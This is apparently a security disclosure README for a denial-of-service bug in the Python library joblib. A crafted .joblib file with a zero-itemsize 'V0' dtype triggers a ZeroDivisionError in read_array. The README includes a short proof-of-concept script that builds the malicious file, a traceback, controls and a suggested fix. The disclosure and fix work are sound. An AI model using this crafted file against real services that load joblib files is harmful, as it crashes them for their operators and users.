EnigmaConsultant's picture
Upload README.md with huggingface_hub
4d24da1 verified
|
Raw
History Blame Contribute Delete
6.04 kB
# joblib.load DoS: ZeroDivisionError in read_array from attacker-controlled itemsize-0 dtype metadata
**Target:** `joblib` (PyPI package `joblib`)
**Verified version:** joblib 1.5.2, numpy 2.3.5, CPython 3.13 (Kali). Vulnerable line is unchanged on joblib `main`.
**Vulnerable file/line:** `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array`, line 191.
**Impact:** Denial of service (unhandled `ZeroDivisionError`) on `joblib.load()` of an untrusted `.joblib` file. Not memory corruption or RCE.
**Class:** CWE-369 (Divide By Zero) reachable from untrusted deserialization metadata.
---
## Root cause
In `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array` computes a read-chunk count by dividing the buffer size by the dtype item size, with **no guard against a zero itemsize**:
```python
# joblib/numpy_pickle.py (line ~191, NumpyArrayWrapper.read_array)
max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize)
```
`self.dtype` is **attacker-controlled metadata** carried inside the pickled `NumpyArrayWrapper`. A non-object numpy dtype whose `itemsize` is 0 — e.g. `np.dtype('V0')`, a zero-length void — has `hasobject == False`, so `read_array` takes the raw-array `else` branch and evaluates `min(BUFFER_SIZE, 0) == 0` as the divisor. This raises `ZeroDivisionError` **before any array data is read**.
The crash is **count-independent**: it fires for shape `(0,)` and `(1,)` alike, because the division happens before the read loop.
### Asymmetry with the write side (confirms the missing check)
The WRITE path already guards the exact same division. In `write_array` (line ~126):
```python
# joblib/numpy_pickle.py (line ~126, write_array)
buffersize = max(16 * 1024 ** 2 // array.itemsize, 1)
```
The `max(..., 1)` floor prevents a zero divisor on write. The READ side has no equivalent floor — an asymmetry that pinpoints the missing guard.
### Reachability from the public loader
`joblib.load()` -> `_unpickle` -> `NumpyUnpickler.load_build` (overrides pickle `BUILD`) -> `array_wrapper.read` -> `read_array`. So a crafted `.joblib` file crashes the documented public loader. **No pickle `__reduce__` gadget is involved** — the crash comes purely from the array metadata joblib itself trusts and dereferences.
---
## PoC
Craft a joblib file whose array placeholder claims a zero-itemsize dtype:
```python
import numpy as np, pickle, joblib
from joblib.numpy_pickle import NumpyArrayWrapper
w = NumpyArrayWrapper(np.ndarray, shape=(1,), order='C',
dtype=np.dtype('V0'), allow_mmap=False)
open('poc_v0.joblib', 'wb').write(pickle.dumps(w, protocol=5))
joblib.load('poc_v0.joblib') # -> ZeroDivisionError at numpy_pickle.py:191
```
The file is a plain pickle stream containing a `NumpyArrayWrapper` with `dtype V0`. joblib's `NumpyUnpickler` overrides `BUILD`, reconstructs the wrapper, and calls `read_array`, which divides by `min(BUFFER_SIZE, itemsize) == 0`.
---
## Captured evidence (verbatim, real `joblib.load()` execution)
```
dtype V0 itemsize = 0 hasobject = False
Traceback (most recent call last):
File ".../joblib/numpy_pickle.py", line 749, in load
obj = _unpickle(fobj, ...)
File ".../joblib/numpy_pickle.py", line 626, in _unpickle
obj = unpickler.load()
File "/usr/lib/python3.13/pickle.py", line 1256, in load
dispatch[key[0]](self)
File ".../joblib/numpy_pickle.py", line 462, in load_build
_array_payload = array_wrapper.read(self, self.ensure_native_byte_order)
File ".../joblib/numpy_pickle.py", line 284, in read
array = self.read_array(unpickler, ensure_native_byte_order)
File ".../joblib/numpy_pickle.py", line 191, in read_array
max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize)
~~~~~~~~~~~~^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ZeroDivisionError: integer division or modulo by zero
```
### Negative controls (same run)
```
control1 legit np.arange dump/load roundtrip OK, equal = True
control2 identical craft path with VALID dtype 'u1' shape (0,) -> array([], dtype=uint8) (loads fine)
variant v0 shape (0,) -> ZeroDivisionError (proves count-independent, pre-loop)
```
`control2` isolates the cause: the same crafting method with a valid dtype loads cleanly, so the crash is specifically the itemsize-0 dtype metadata, not the way the file was built.
---
## Suggested fix
Floor the divisor on the read side to mirror the write side, e.g.:
```python
max_read_count = BUFFER_SIZE // max(min(BUFFER_SIZE, self.dtype.itemsize), 1)
```
or explicitly reject a zero/negative itemsize dtype before entering the read loop.
---
## Dedup / prior art
- **Distinct from the three joblib scanner-bypass reports** (stopbyte `0x2e`-STOP, numeric-genops multi-array, numpy-ctypeslib). Those are `modelscan` pickle-layer false-negatives. This is a crash inside joblib's **own** `read_array` metadata handling, independent of any scanner, with **no** pickle reduce gadget.
- **Distinct from CVE-2024-34997** (joblib pickle `__reduce__` RCE primitive) — that requires a reduce gadget; this fires purely from trusted array metadata.
- **No public report found** for a joblib `read_array` itemsize-0 `ZeroDivisionError`. The vulnerable line is unchanged on joblib `main`; the write/read guard asymmetry (write line ~126 uses `max(..., 1)`) is public but unremarked.
- **Related read_array paths characterized but weaker** (not the primary): subarray dtype `('f8',(2,))` yields an unhandled `ValueError` (reshape mismatch); a huge shape yields numpy's guarded `MemoryError` (over-alloc is validated by numpy, not memory-unsafe). The itemsize-0 `ZeroDivisionError` is the clean, deterministic primary.
## Scope note
`joblib.load` is already documented as unsafe for untrusted pickle input. The security boundary here is that a **crash is reachable from pure array metadata before any reduce gadget executes** — i.e. metadata joblib itself parses and trusts triggers an unhandled exception. Impact is denial-of-service, not memory corruption or RCE.